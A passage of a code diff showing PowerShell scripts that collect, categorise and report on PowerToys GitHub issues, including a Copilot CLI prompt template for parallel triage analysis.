.\categorize-issues.ps1 -TrendingThreshold 10
#>
param(
[Parameter()]
[string]$InputPath = "Generated Files/triage-issues/current-run/collected-issues.json",
[Parameter()]
[string]$StatePath = "Generated Files/triage-issues/triage-state.json",
[Parameter()]
[string]$OutputPath = "Generated Files/triage-issues/current-run/categorized-issues.json",
[Parameter()]
[int]$TrendingThreshold = 5
)
$ErrorActionPreference = "Stop"
# Product keyword mapping
$ProductKeywords = @{
"Product-FancyZones" = @("fancy zones", "fancyzones", "zone", "snap", "layout", "window arrangement", "virtual desktop")
"Product-PowerToys Run" = @("run", "launcher", "alt+space", "alt space", "search", "plugin", "powertoys run")
"Product-Color Picker" = @("color picker", "colorpicker", "eyedropper", "hex", "rgb", "color code")
"Product-Keyboard Manager" = @("keyboard", "remap", "shortcut", "key mapping", "keyboard manager")
"Product-Mouse Utils" = @("mouse", "crosshairs", "find my mouse", "highlighter", "pointer", "mouse without borders")
"Product-File Explorer" = @("file explorer", "preview", "thumbnail", "markdown preview", "svg preview", "preview pane")
"Product-Image Resizer" = @("image resizer", "resize image", "bulk resize", "resize pictures")
"Product-PowerRename" = @("rename", "power rename", "powerrename", "bulk rename", "regex rename")
"Product-Awake" = @("awake", "keep awake", "prevent sleep", "caffeinate", "stay awake")
"Product-Shortcut Guide" = @("shortcut guide", "win key", "windows key guide")
"Product-Text Extractor" = @("text extractor", "ocr", "screen text", "copy text from screen")
"Product-Hosts File Editor" = @("hosts", "hosts file", "dns mapping")
"Product-Peek" = @("peek", "quick preview", "spacebar preview", "file peek")
"Product-Crop And Lock" = @("crop", "crop and lock", "window crop", "cropped window")
"Product-Paste As Plain Text" = @("paste", "plain text", "paste as plain")
"Product-Registry Preview" = @("registry", "reg file", "registry preview")
"Product-Environment Variables" = @("environment", "env variable", "path variable", "system variable")
"Product-Command Not Found" = @("command not found", "winget suggest", "command suggestion")
"Product-New+" = @("new\+", "newplus", "file template", "new file")
"Product-Advanced Paste" = @("advanced paste", "ai paste", "clipboard ai", "smart paste")
"Product-Workspaces" = @("workspaces", "workspace launcher", "project layout")
"Product-Cmd Palette" = @("command palette", "cmd palette", "quick command")
"Product-ZoomIt" = @("zoomit", "zoom it", "screen zoom", "presentation zoom")
}
# Load collected issues
if (-not (Test-Path $InputPath)) {
Write-Error "Input file not found: $InputPath. Run collect-active-issues.ps1 first."
exit 1
}
$collected = Get-Content $InputPath | ConvertFrom-Json
# Load previous state
$previousState = $null
if (Test-Path $StatePath) {
$previousState = Get-Content $StatePath | ConvertFrom-Json
}
function Get-IssueDetails {
param([int]$IssueNumber)
$json = gh issue view $IssueNumber `
--json number,title,body,author,createdAt,updatedAt,state,labels,milestone,reactions,comments,linkedPullRequests 2>$null
if (-not $json) { return $null }
$issue = $json | ConvertFrom-Json
return @{
number = $issue.number
title = $issue.title
body = $issue.body
author = $issue.author.login
state = $issue.state
createdAt = $issue.createdAt
updatedAt = $issue.updatedAt
labels = @($issue.labels | ForEach-Object { $_.name })
milestone = $issue.milestone.title
reactions = @{
thumbsUp = ($issue.reactions | Where-Object { $_.content -eq "THUMBS_UP" }).Count
thumbsDown = ($issue.reactions | Where-Object { $_.content -eq "THUMBS_DOWN" }).Count
heart = ($issue.reactions | Where-Object { $_.content -eq "HEART" }).Count
}
commentCount = $issue.comments.Count
comments = @($issue.comments | ForEach-Object {
@{
author = $_.author.login
createdAt = $_.createdAt
body = $_.body
}
})
linkedPRs = @($issue.linkedPullRequests | ForEach-Object {
@{
number = $_.number
state = $_.state
mergedAt = $_.mergedAt
}
})
}
}
function Get-LabelSuggestion {
param([hashtable]$Issue)
$titleLower = $Issue.title.ToLower()
$bodyLower = if ($Issue.body) { $Issue.body.ToLower() } else { "" }
$combined = "$titleLower $bodyLower"
$matches = @()
foreach ($product in $ProductKeywords.Keys) {
$keywords = $ProductKeywords[$product]
$matchCount = ($keywords | Where-Object { $combined -match $_ }).Count
if ($matchCount -gt 0) {
$matches += @{
label = $product
matchCount = $matchCount
confidence = [Math]::Min(100, $matchCount * 25 + 25)
}
}
}
$best = $matches | Sort-Object confidence -Descending | Select-Object -First 1
if ($best -and $best.confidence -ge 50) {
return @{
labels = @($best.label)
confidence = $best.confidence
reason = "Matched $($best.matchCount) keywords"
}
}
return @{ labels = @(); confidence = 0; reason = "No confident match" }
}
function Get-PriorityScore {
param([hashtable]$Issue)
$score = 50
# Reactions
$score += [Math]::Min(20, $Issue.reactions.thumbsUp * 2)
# Comments
$score += [Math]::Min(15, $Issue.commentCount)
# Recency
$daysSinceUpdate = ((Get-Date) - [datetime]$Issue.updatedAt).Days
if ($daysSinceUpdate -le 7) { $score += 10 }
elseif ($daysSinceUpdate -le 30) { $score += 5 }
# Labels
if ($Issue.labels -contains "Priority-High") { $score += 15 }
if ($Issue.labels -match "Regression") { $score += 20 }
if ($Issue.labels -match "Security") { $score += 25 }
return [Math]::Min(100, $score)
}
# Process each issue
$categorized = @{}
$issueCount = $collected.issues.Count
$current = 0
Write-Host "Categorizing $issueCount issues..."
Write-Host ""
foreach ($collectedIssue in $collected.issues) {
$current++
$issueNum = $collectedIssue.number
Write-Host "[$current/$issueCount] Processing #$issueNum..."
# Get full issue details
$issue = Get-IssueDetails -IssueNumber $issueNum
if (-not $issue) {
Write-Host " Warning: Could not fetch issue #$issueNum"
continue
}
# Get previous snapshot
$previousSnapshot = $null
if ($previousState -and $previousState.issueSnapshots.$issueNum) {
$previousSnapshot = $previousState.issueSnapshots.$issueNum
}
# Calculate new comments
$previousCommentCount = if ($previousSnapshot) { $previousSnapshot.commentCount } else { 0 }
$newComments = $issue.commentCount - $previousCommentCount
# Categorize (priority order - first match wins)
$category = $null
$categoryReason = $null
$suggestedAction = $null
$additionalData = @{}
# 1. Trending
if ($newComments -ge $TrendingThreshold) {
$category = "trending"
$categoryReason = "$newComments new comments since last run"
$suggestedAction = "Review conversation urgently"
}
# 2. Closeable (check for merged PRs)
if (-not $category) {
$mergedPRs = $issue.linkedPRs | Where-Object { $_.state -eq "MERGED" }
if ($mergedPRs.Count -gt 0 -and $issue.state -eq "OPEN") {
$category = "closeable"
$categoryReason = "Has merged PR(s): #" + ($mergedPRs.number -join ", #")
$suggestedAction = "Close with thank you message"
$additionalData.mergedPRs = $mergedPRs.number
}
}
# 3. Needs-Label
if (-not $category) {
$productLabels = $issue.labels | Where-Object { $_ -like "Product-*" }
$areaLabels = $issue.labels | Where-Object { $_ -like "Area-*" }
if ($productLabels.Count -eq 0 -and $areaLabels.Count -eq 0) {
$suggestion = Get-LabelSuggestion -Issue $issue
$category = "needs-label"
$categoryReason = "Missing Product/Area label"
$suggestedAction = "Apply label: $($suggestion.labels -join ', ')"
$additionalData.suggestedLabels = $suggestion.labels
$additionalData.labelConfidence = $suggestion.confidence
}
}
# 4. Stale-Waiting
if (-not $category) {
if ($issue.labels -contains "Needs-Author-Feedback") {
$lastAuthorComment = $issue.comments |
Where-Object { $_.author -eq $issue.author } |
Sort-Object createdAt -Descending |
Select-Object -First 1
if ($lastAuthorComment) {
$daysSince = ((Get-Date) - [datetime]$lastAuthorComment.createdAt).Days
if ($daysSince -gt 14) {
$category = "stale-waiting"
$categoryReason = "Waiting on author for $daysSince days"
$suggestedAction = "Ping or close"
$additionalData.daysWaiting = $daysSince
}
}
}
}
# 5. Needs-Clarification (question, not bug)
if (-not $category) {
$isQuestion = $false
$titleAndBody = "$($issue.title) $($issue.body)"
if ($titleAndBody -match '\?$' -or
$titleAndBody -match '(?i)(how (do|can|to)|why (does|is)|is (it|there) possible)' -or
$issue.labels -contains "Issue-Question") {
$isQuestion = $true
}
if ($isQuestion -and ($issue.labels -notcontains "Issue-Bug")) {
$category = "needs-clarification"
$categoryReason = "Appears to be a question/inquiry"
$suggestedAction = "Draft explanation reply"
}
}
# 6. Needs-Info
if (-not $category) {
$missingItems = @()
$body = $issue.body
if ($body -and $body.Length -gt 0) {
if ($body -notmatch '(?i)(steps to reproduce|repro|how to reproduce)') {
$missingItems += "repro steps"
}
if ($body -notmatch '(?i)(expected|should|supposed to)') {
$missingItems += "expected behavior"
}
if ($body -notmatch '(?i)(version|v\d+\.\d+)') {
$missingItems += "PowerToys version"
}
} else {
$missingItems += "description"
}
if ($missingItems.Count -gt 0) {
$category = "needs-info"
$categoryReason = "Missing: " + ($missingItems -join ", ")
$suggestedAction = "Post clarifying questions"
$additionalData.missingItems = $missingItems
}
}
# 7. Default: review-needed
if (-not $category) {
$category = "review-needed"
$categoryReason = "Needs human review for categorization"
$suggestedAction = "Manual triage"
}
# Calculate priority score
$priorityScore = Get-PriorityScore -Issue $issue
# Store result
$categorized[$issueNum] = @{
number = $issue.number
title = $issue.title
state = $issue.state
labels = $issue.labels
category = $category
categoryReason = $categoryReason
priorityScore = $priorityScore
suggestedAction = $suggestedAction
newComments = $newComments
totalComments = $issue.commentCount
reactions = $issue.reactions
updatedAt = $issue.updatedAt
additionalData = $additionalData
}
Write-Host " -> $category (priority: $priorityScore)"
}
# Group by category for summary
$byCategory = $categorized.Values | Group-Object category
Write-Host ""
Write-Host "=== Categorization Summary ==="
foreach ($group in $byCategory | Sort-Object Count -Descending) {
Write-Host " $($group.Name): $($group.Count) issues"
}
# Save results
$output = @{
categorizedAt = (Get-Date).ToUniversalTime().ToString("o")
totalCategorized = $categorized.Count
byCategory = @{}
issues = $categorized
}
foreach ($group in $byCategory) {
$output.byCategory[$group.Name] = @{
count = $group.Count
topIssues = @($group.Group | Sort-Object priorityScore -Descending | Select-Object -First 3 | ForEach-Object { $_.number })
}
}
$output | ConvertTo-Json -Depth 10 | Set-Content $OutputPath
Write-Host ""
Write-Host "Results saved to: $OutputPath"

View File

@@ -1,188 +0,0 @@
<#
.SYNOPSIS
Collects GitHub issues with activity since the last triage run.
.DESCRIPTION
Fetches open issues updated since the last run, closed issues with new comments,
and issues with pending follow-up actions.
.PARAMETER Since
ISO 8601 datetime string. Collect issues updated after this time.
If not specified, reads from triage-state.json.
.PARAMETER LookbackDays
For first run (no state), how many days to look back. Default: 7.
.PARAMETER OutputPath
Path to save collected issues JSON. Default: Generated Files/triage-issues/current-run/collected-issues.json
.PARAMETER Limit
Maximum issues to collect per query. Default: 500.
.EXAMPLE
.\collect-active-issues.ps1
.EXAMPLE
.\collect-active-issues.ps1 -Since "2026-01-29T00:00:00Z" -Limit 100
#>
param(
[Parameter()]
[string]$Since,
[Parameter()]
[int]$LookbackDays = 7,
[Parameter()]
[string]$OutputPath = "Generated Files/triage-issues/current-run/collected-issues.json",
[Parameter()]
[int]$Limit = 500
)
$ErrorActionPreference = "Stop"
# Determine the "since" timestamp
if (-not $Since) {
$statePath = "Generated Files/triage-issues/triage-state.json"
if (Test-Path $statePath) {
$state = Get-Content $statePath | ConvertFrom-Json
if ($state.lastRun) {
$Since = $state.lastRun
Write-Host "Using last run timestamp: $Since"
}
}
if (-not $Since) {
$Since = (Get-Date).AddDays(-$LookbackDays).ToUniversalTime().ToString("o")
Write-Host "First run - looking back $LookbackDays days to: $Since"
}
}
$sinceDate = [datetime]$Since
# Ensure output directory exists
$outputDir = Split-Path $OutputPath -Parent
if (-not (Test-Path $outputDir)) {
New-Item -ItemType Directory -Force -Path $outputDir | Out-Null
}
$collectedIssues = @()
# 1. Collect open issues updated since last run
Write-Host "Fetching open issues updated since $Since..."
$openIssues = gh issue list `
--state open `
--json number,title,updatedAt `
--limit $Limit 2>$null | ConvertFrom-Json
$filteredOpen = $openIssues | Where-Object {
[datetime]$_.updatedAt -gt $sinceDate
}
Write-Host " Found $($filteredOpen.Count) open issues with recent activity"
foreach ($issue in $filteredOpen) {
$collectedIssues += @{
number = $issue.number
title = $issue.title
source = "open-updated"
updatedAt = $issue.updatedAt
}
}
# 2. Collect closed issues with recent activity (within tracking window)
Write-Host "Fetching closed issues with recent comments..."
$trackingDays = 30
$trackingCutoff = (Get-Date).AddDays(-$trackingDays)
$closedIssues = gh issue list `
--state closed `
--json number,title,updatedAt,closedAt `
--limit 200 2>$null | ConvertFrom-Json
$activeClosedIssues = $closedIssues | Where-Object {
$closedAt = [datetime]$_.closedAt
$updatedAt = [datetime]$_.updatedAt
# Closed within tracking window AND updated after being closed
($closedAt -gt $trackingCutoff) -and ($updatedAt -gt $closedAt)
}
Write-Host " Found $($activeClosedIssues.Count) closed issues with post-close activity"
foreach ($issue in $activeClosedIssues) {
$collectedIssues += @{
number = $issue.number
title = $issue.title
source = "closed-with-activity"
updatedAt = $issue.updatedAt
closedAt = $issue.closedAt
}
}
# 3. Check pending follow-ups from state
if (Test-Path $statePath) {
$state = Get-Content $statePath | ConvertFrom-Json
if ($state.pendingFollowUps) {
Write-Host "Checking $($state.pendingFollowUps.Count) pending follow-ups..."
foreach ($pending in $state.pendingFollowUps) {
if ($pending.status -eq "pending") {
if ($collectedIssues.number -notcontains $pending.issueNumber) {
$collectedIssues += @{
number = $pending.issueNumber
source = "pending-followup"
action = $pending.action
}
}
}
}
}
# Check unhandled issues from previous run
if ($state.issueSnapshots) {
$unhandled = $state.issueSnapshots.PSObject.Properties | Where-Object {
$snapshot = $_.Value
$snapshot.pendingAction -and -not $snapshot.actionTaken
}
if ($unhandled) {
Write-Host "Found $($unhandled.Count) unhandled issues from previous run"
foreach ($prop in $unhandled) {
$snapshot = $prop.Value
if ($collectedIssues.number -notcontains $snapshot.number) {
$collectedIssues += @{
number = $snapshot.number
title = $snapshot.title
source = "unhandled-previous"
previousCategory = $snapshot.category
}
}
}
}
}
}
# Deduplicate by issue number
$uniqueIssues = $collectedIssues | Group-Object number | ForEach-Object {
$_.Group | Select-Object -First 1
}
# Summary
Write-Host ""
Write-Host "=== Collection Summary ==="
Write-Host "Total unique issues: $($uniqueIssues.Count)"
Write-Host " - Open with activity: $(($uniqueIssues | Where-Object { $_.source -eq 'open-updated' }).Count)"
Write-Host " - Closed with activity: $(($uniqueIssues | Where-Object { $_.source -eq 'closed-with-activity' }).Count)"
Write-Host " - Pending follow-ups: $(($uniqueIssues | Where-Object { $_.source -eq 'pending-followup' }).Count)"
Write-Host " - Unhandled previous: $(($uniqueIssues | Where-Object { $_.source -eq 'unhandled-previous' }).Count)"
# Save results
$output = @{
collectedAt = (Get-Date).ToUniversalTime().ToString("o")
since = $Since
totalCount = $uniqueIssues.Count
issues = $uniqueIssues
}
$output | ConvertTo-Json -Depth 10 | Set-Content $OutputPath
Write-Host ""
Write-Host "Results saved to: $OutputPath"

View File

@@ -1,210 +0,0 @@
<#
.SYNOPSIS
Generates executive summary and category reports from categorized issues.
.DESCRIPTION
Creates markdown reports for each category and an executive summary
for the current triage run.
.PARAMETER InputPath
Path to categorized issues JSON. Default: Generated Files/triage-issues/current-run/categorized-issues.json
.PARAMETER OutputPath
Directory for generated reports. Default: Generated Files/triage-issues/current-run
.PARAMETER RepoUrl
GitHub repository URL for issue links. Default: https://github.com/microsoft/PowerToys/issues
.EXAMPLE
.\generate-summary.ps1
#>
param(
[Parameter()]
[string]$InputPath = "Generated Files/triage-issues/current-run/categorized-issues.json",
[Parameter()]
[string]$OutputPath = "Generated Files/triage-issues/current-run",
[Parameter()]
[string]$RepoUrl = "https://github.com/microsoft/PowerToys/issues"
)
$ErrorActionPreference = "Stop"
# Category display info
$CategoryInfo = @{
"trending" = @{ emoji = "🔥"; name = "Trending"; priority = 1 }
"needs-label" = @{ emoji = "🏷️"; name = "Needs-Label"; priority = 2 }
"ready-for-fix" = @{ emoji = ""; name = "Ready-for-Fix"; priority = 3 }
"needs-info" = @{ emoji = ""; name = "Needs-Info"; priority = 4 }
"needs-clarification" = @{ emoji = "💬"; name = "Needs-Clarification"; priority = 5 }
"closeable" = @{ emoji = "✔️"; name = "Closeable"; priority = 6 }
"stale-waiting" = @{ emoji = ""; name = "Stale-Waiting"; priority = 7 }
"duplicate-candidate" = @{ emoji = "🔁"; name = "Duplicate-Candidate"; priority = 8 }
"review-needed" = @{ emoji = "👀"; name = "Review-Needed"; priority = 9 }
}
# Load categorized issues
if (-not (Test-Path $InputPath)) {
Write-Error "Input file not found: $InputPath. Run categorize-issues.ps1 first."
exit 1
}
$data = Get-Content $InputPath | ConvertFrom-Json -AsHashtable
# Ensure output directories
New-Item -ItemType Directory -Force -Path $OutputPath | Out-Null
New-Item -ItemType Directory -Force -Path "$OutputPath/draft-replies" | Out-Null
# Group issues by category
$byCategory = @{}
foreach ($issueNum in $data.issues.Keys) {
$issue = $data.issues[$issueNum]
$cat = $issue.category
if (-not $byCategory[$cat]) {
$byCategory[$cat] = @()
}
$byCategory[$cat] += $issue
}
# Sort each category by priority
foreach ($cat in $byCategory.Keys) {
$byCategory[$cat] = $byCategory[$cat] | Sort-Object priorityScore -Descending
}
# Generate Executive Summary
$summaryLines = @()
$summaryLines += "# Issue Triage Summary - $(Get-Date -Format 'yyyy-MM-dd')"
$summaryLines += ""
$summaryLines += "**Run Time**: $(Get-Date -Format 'HH:mm UTC') | **Issues Analyzed**: $($data.totalCategorized)"
$summaryLines += ""
$summaryLines += "## ⚡ Action Required by Category"
$summaryLines += ""
$summaryLines += "| Category | Count | Top Priority | Suggested Action |"
$summaryLines += "|----------|-------|--------------|------------------|"
foreach ($catId in $CategoryInfo.Keys | Sort-Object { $CategoryInfo[$_].priority }) {
$info = $CategoryInfo[$catId]
$issues = $byCategory[$catId]
if ($issues -and $issues.Count -gt 0) {
$top = $issues[0]
$topLink = "[#$($top.number)]($RepoUrl/$($top.number))"
$topInfo = $top.categoryReason
if ($topInfo.Length -gt 40) { $topInfo = $topInfo.Substring(0, 37) + "..." }
$summaryLines += "| $($info.emoji) $($info.name) | $($issues.Count) | $topLink | $topInfo |"
}
}
$summaryLines += ""
$summaryLines += "## 🎯 Top 10 Priority Actions"
$summaryLines += ""
# Get top 10 across all categories
$allIssues = @()
foreach ($cat in $byCategory.Keys) {
$allIssues += $byCategory[$cat]
}
$topIssues = $allIssues | Sort-Object priorityScore -Descending | Select-Object -First 10
$priority = 1
foreach ($issue in $topIssues) {
$info = $CategoryInfo[$issue.category]
$urgency = if ($issue.priorityScore -ge 80) { "**[Urgent]**" }
elseif ($issue.priorityScore -ge 60) { "**[High]**" }
elseif ($issue.priorityScore -ge 40) { "[Medium]" }
else { "[Low]" }
$summaryLines += "$priority. $urgency $($info.emoji) [#$($issue.number)]($RepoUrl/$($issue.number)) - $($issue.categoryReason)"
$priority++
}
$summaryLines += ""
$summaryLines += "## 📁 Detailed Reports"
$summaryLines += ""
foreach ($catId in $CategoryInfo.Keys | Sort-Object { $CategoryInfo[$_].priority }) {
$info = $CategoryInfo[$catId]
$issues = $byCategory[$catId]
if ($issues -and $issues.Count -gt 0) {
$summaryLines += "- [$($info.emoji) $($info.name)](./$catId.md) ($($issues.Count) issues)"
}
}
$summaryLines += ""
$summaryLines += "---"
$summaryLines += "*Generated by continuous-issue-triage skill*"
$summaryLines -join "`n" | Set-Content "$OutputPath/summary.md"
Write-Host "Generated: summary.md"
# Generate individual category reports
foreach ($catId in $byCategory.Keys) {
$info = $CategoryInfo[$catId]
$issues = $byCategory[$catId]
if (-not $issues -or $issues.Count -eq 0) { continue }
$reportLines = @()
$reportLines += "# $($info.emoji) $($info.name) Issues"
$reportLines += ""
$reportLines += "**Total**: $($issues.Count) issues"
$reportLines += ""
$reportLines += "## Overview"
$reportLines += ""
$reportLines += "| # | Issue | Priority | Reason | Labels |"
$reportLines += "|---|-------|----------|--------|--------|"
foreach ($issue in $issues) {
$labelStr = ($issue.labels | Select-Object -First 3) -join ", "
if ($issue.labels.Count -gt 3) { $labelStr += "..." }
$reason = $issue.categoryReason
if ($reason.Length -gt 50) { $reason = $reason.Substring(0, 47) + "..." }
$reportLines += "| [#$($issue.number)]($RepoUrl/$($issue.number)) | $($issue.title.Substring(0, [Math]::Min(50, $issue.title.Length))) | $($issue.priorityScore)/100 | $reason | $labelStr |"
}
$reportLines += ""
$reportLines += "## Detailed Breakdown"
$reportLines += ""
foreach ($issue in $issues) {
$reportLines += "### [#$($issue.number)]($RepoUrl/$($issue.number)): $($issue.title)"
$reportLines += ""
$reportLines += "- **Priority Score**: $($issue.priorityScore)/100"
$reportLines += "- **Category Reason**: $($issue.categoryReason)"
$reportLines += "- **Suggested Action**: $($issue.suggestedAction)"
$reportLines += "- **Reactions**: 👍 $($issue.reactions.thumbsUp) | ❤️ $($issue.reactions.heart)"
$reportLines += "- **Comments**: $($issue.totalComments) total ($($issue.newComments) new)"
$reportLines += "- **Labels**: $($issue.labels -join ', ')"
if ($issue.additionalData) {
if ($issue.additionalData.suggestedLabels) {
$reportLines += "- **Suggested Labels**: $($issue.additionalData.suggestedLabels -join ', ') (confidence: $($issue.additionalData.labelConfidence)%)"
}
if ($issue.additionalData.missingItems) {
$reportLines += "- **Missing Info**: $($issue.additionalData.missingItems -join ', ')"
}
if ($issue.additionalData.mergedPRs) {
$reportLines += "- **Merged PRs**: #$($issue.additionalData.mergedPRs -join ', #')"
}
if ($issue.additionalData.daysWaiting) {
$reportLines += "- **Days Waiting**: $($issue.additionalData.daysWaiting)"
}
}
$reportLines += ""
$reportLines += "---"
$reportLines += ""
}
$reportLines -join "`n" | Set-Content "$OutputPath/$catId.md"
Write-Host "Generated: $catId.md"
}
Write-Host ""
Write-Host "All reports generated in: $OutputPath"
Write-Host "Start with: summary.md"

View File

@@ -1,692 +0,0 @@
<#
.SYNOPSIS
Runs continuous issue triage using GitHub Copilot CLI with parallel processing.
.DESCRIPTION
Orchestrates the full triage workflow:
1. Collects active issues
2. Analyzes issues in parallel using Copilot CLI
3. Categorizes results
4. Generates reports
5. Updates state for delta tracking
.PARAMETER RunType
Type of triage run: daily, twice-weekly, weekly. Default: weekly
.PARAMETER MaxParallel
Maximum parallel Copilot CLI invocations. Default: 5
.PARAMETER TimeoutMinutes
Timeout for each Copilot analysis. Default: 5
.PARAMETER MaxRetries
Maximum retries on timeout. Default: 3
.PARAMETER Model
Copilot model to use (optional).
.PARAMETER McpConfig
Path to MCP config file (optional).
.PARAMETER LookbackDays
For first run, days to look back. Default: 7
.PARAMETER Force
Force re-analysis of all issues, ignoring cache.
.EXAMPLE
.\run-triage.ps1
.EXAMPLE
.\run-triage.ps1 -RunType daily -MaxParallel 10 -Model "claude-sonnet-4"
#>
[CmdletBinding()]
param(
[Parameter()]
[ValidateSet("daily", "twice-weekly", "weekly")]
[string]$RunType = "weekly",
[Parameter()]
[int]$MaxParallel = 5,
[Parameter()]
[int]$TimeoutMinutes = 5,
[Parameter()]
[int]$MaxRetries = 3,
[Parameter()]
[string]$Model,
[Parameter()]
[string]$McpConfig,
[Parameter()]
[int]$LookbackDays = 7,
[Parameter()]
[switch]$Force
)
$ErrorActionPreference = "Stop"
$repoRoot = git rev-parse --show-toplevel 2>$null
# Resolve config directory name (.github or .claude) from script location
$_cfgDir = if ($PSScriptRoot -match '[\\/](\.github|\.claude)[\\/]') { $Matches[1] } else { '.github' }
if (-not $repoRoot) {
$repoRoot = (Get-Location).Path
}
# Paths
$triageRoot = Join-Path $repoRoot "Generated Files/triage-issues"
$currentRunPath = Join-Path $triageRoot "current-run"
$statePath = Join-Path $triageRoot "triage-state.json"
$issueCachePath = Join-Path $triageRoot "issue-cache"
$historyPath = Join-Path $triageRoot "history"
# Ensure directories exist
@($triageRoot, $currentRunPath, $issueCachePath, $historyPath) | ForEach-Object {
if (-not (Test-Path $_)) {
New-Item -ItemType Directory -Path $_ -Force | Out-Null
}
}
Write-Host "═══════════════════════════════════════════════════════════════" -ForegroundColor Cyan
Write-Host " PowerToys Issue Triage - $RunType run" -ForegroundColor Cyan
Write-Host " Started: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')" -ForegroundColor Cyan
Write-Host "═══════════════════════════════════════════════════════════════" -ForegroundColor Cyan
Write-Host ""
#region State Management
Write-Host "[1/6] Loading previous state..." -ForegroundColor Yellow
$state = $null
if (Test-Path $statePath) {
$state = Get-Content $statePath -Raw | ConvertFrom-Json -AsHashtable
Write-Host " ✓ Loaded state from: $($state.lastRun)" -ForegroundColor Green
Write-Host " Previous run type: $($state.lastRunType)" -ForegroundColor Gray
Write-Host " Known issues: $($state.issueSnapshots.Count)" -ForegroundColor Gray
} else {
Write-Host " First run - initializing fresh state" -ForegroundColor Yellow
$state = @{
version = "1.0"
lastRun = $null
lastRunType = $null
issueSnapshots = @{}
pendingFollowUps = @()
closedWithActivity = @()
analysisResults = @{}
statistics = @{
totalRunCount = 0
issuesAnalyzed = 0
repliesPosted = 0
issuesClosed = 0
}
}
}
#endregion
#region Issue Collection
Write-Host ""
Write-Host "[2/6] Collecting active issues..." -ForegroundColor Yellow
$since = if ($state.lastRun) { $state.lastRun } else { (Get-Date).AddDays(-$LookbackDays).ToUniversalTime().ToString("o") }
Write-Host " Looking for issues updated since: $since" -ForegroundColor Gray
# Collect open issues with recent activity
$openIssuesJson = gh issue list --state open --json number,title,updatedAt,labels --limit 500 2>$null
$openIssues = $openIssuesJson | ConvertFrom-Json | Where-Object {
[datetime]$_.updatedAt -gt [datetime]$since
}
# Collect closed issues with post-close activity (within 30 days)
$closedIssuesJson = gh issue list --state closed --json number,title,updatedAt,closedAt --limit 200 2>$null
$closedIssues = $closedIssuesJson | ConvertFrom-Json | Where-Object {
$closedAt = [datetime]$_.closedAt
$updatedAt = [datetime]$_.updatedAt
$cutoff = (Get-Date).AddDays(-30)
($closedAt -gt $cutoff) -and ($updatedAt -gt $closedAt)
}
# Combine and dedupe
$allIssues = @()
$allIssues += $openIssues | ForEach-Object { @{ number = $_.number; title = $_.title; state = "open"; updatedAt = $_.updatedAt } }
$allIssues += $closedIssues | ForEach-Object { @{ number = $_.number; title = $_.title; state = "closed"; updatedAt = $_.updatedAt } }
# Add pending follow-ups from previous run
if ($state.pendingFollowUps) {
foreach ($pending in $state.pendingFollowUps) {
if ($pending.status -eq "pending" -and ($allIssues.number -notcontains $pending.issueNumber)) {
$allIssues += @{ number = $pending.issueNumber; title = "pending-followup"; state = "unknown" }
}
}
}
$uniqueIssues = $allIssues | Group-Object number | ForEach-Object { $_.Group | Select-Object -First 1 }
Write-Host " ✓ Found $($uniqueIssues.Count) issues to analyze" -ForegroundColor Green
Write-Host " - Open with activity: $(($uniqueIssues | Where-Object { $_.state -eq 'open' }).Count)" -ForegroundColor Gray
Write-Host " - Closed with activity: $(($uniqueIssues | Where-Object { $_.state -eq 'closed' }).Count)" -ForegroundColor Gray
#endregion
#region Filter for Analysis
Write-Host ""
Write-Host "[3/6] Filtering issues for analysis..." -ForegroundColor Yellow
$issuesToAnalyze = @()
foreach ($issue in $uniqueIssues) {
$issueNum = $issue.number
$cached = $state.analysisResults[$issueNum.ToString()]
$needsAnalysis = $false
$reason = ""
if ($Force) {
$needsAnalysis = $true
$reason = "forced"
}
elseif (-not $cached) {
$needsAnalysis = $true
$reason = "new"
}
elseif ($cached.analyzedAt) {
$daysSinceAnalysis = ((Get-Date) - [datetime]$cached.analyzedAt).Days
if ($daysSinceAnalysis -gt 7) {
$needsAnalysis = $true
$reason = "stale-cache"
}
elseif ($cached.commentCountAtAnalysis -and $state.issueSnapshots[$issueNum.ToString()]) {
$previousCount = $state.issueSnapshots[$issueNum.ToString()].commentCount
if ($cached.commentCountAtAnalysis -lt $previousCount) {
$needsAnalysis = $true
$reason = "new-comments"
}
}
}
if ($needsAnalysis) {
$issuesToAnalyze += @{
number = $issueNum
title = $issue.title
state = $issue.state
reason = $reason
}
}
}
Write-Host "$($issuesToAnalyze.Count) issues need analysis" -ForegroundColor Green
Write-Host "$($uniqueIssues.Count - $issuesToAnalyze.Count) issues using cached results" -ForegroundColor Gray
#endregion
#region Parallel Copilot Analysis
Write-Host ""
Write-Host "[4/6] Running parallel Copilot analysis..." -ForegroundColor Yellow
Write-Host " Max parallel: $MaxParallel | Timeout: ${TimeoutMinutes}m | Max retries: $MaxRetries" -ForegroundColor Gray
Write-Host ""
# Prepare the prompt template
$promptTemplate = @"
Analyze GitHub issue #ISSUE_NUMBER for PowerToys triage.
Use the review-issue prompt methodology from $_cfgDir/prompts/review-issue.prompt.md.
Output a JSON summary to stdout with this structure:
{
"issueNumber": ISSUE_NUMBER,
"category": "trending|needs-label|ready-for-fix|needs-info|needs-clarification|closeable|stale-waiting|duplicate-candidate|review-needed",
"categoryReason": "brief explanation",
"priorityScore": 0-100,
"suggestedAction": "what human should do",
"suggestedLabels": ["label1", "label2"],
"labelConfidence": 0-100,
"missingInfo": ["item1", "item2"],
"similarIssues": [12345, 12346],
"potentialAssignees": ["@user1", "@user2"],
"draftReply": "if needs-info or needs-clarification, draft the reply message here",
"clarityScore": 0-100,
"feasibilityScore": 0-100,
"newCommentsSummary": "brief summary of recent discussion if trending"
}
Focus on actionable triage. Be concise.
"@
# Thread-safe collections for results
$analysisResults = [System.Collections.Concurrent.ConcurrentDictionary[string, object]]::new()
$analysisErrors = [System.Collections.Concurrent.ConcurrentBag[object]]::new()
# Progress tracking
$totalIssues = $issuesToAnalyze.Count
$completedCount = [ref]0
$startTime = Get-Date
if ($totalIssues -gt 0) {
$issuesToAnalyze | ForEach-Object -ThrottleLimit $MaxParallel -Parallel {
$issue = $_
$issueNum = $issue.number
$results = $using:analysisResults
$errors = $using:analysisErrors
$completed = $using:completedCount
$total = $using:totalIssues
$timeoutMin = $using:TimeoutMinutes
$maxRetry = $using:MaxRetries
$model = $using:Model
$mcpCfg = $using:McpConfig
$template = $using:promptTemplate
$root = $using:repoRoot
$cachePath = $using:issueCachePath
$prompt = $template -replace 'ISSUE_NUMBER', $issueNum
$logDir = Join-Path $cachePath $issueNum
if (-not (Test-Path $logDir)) {
New-Item -ItemType Directory -Path $logDir -Force | Out-Null
}
$success = $false
$lastError = $null
$output = $null
for ($retry = 0; $retry -lt $maxRetry -and -not $success; $retry++) {
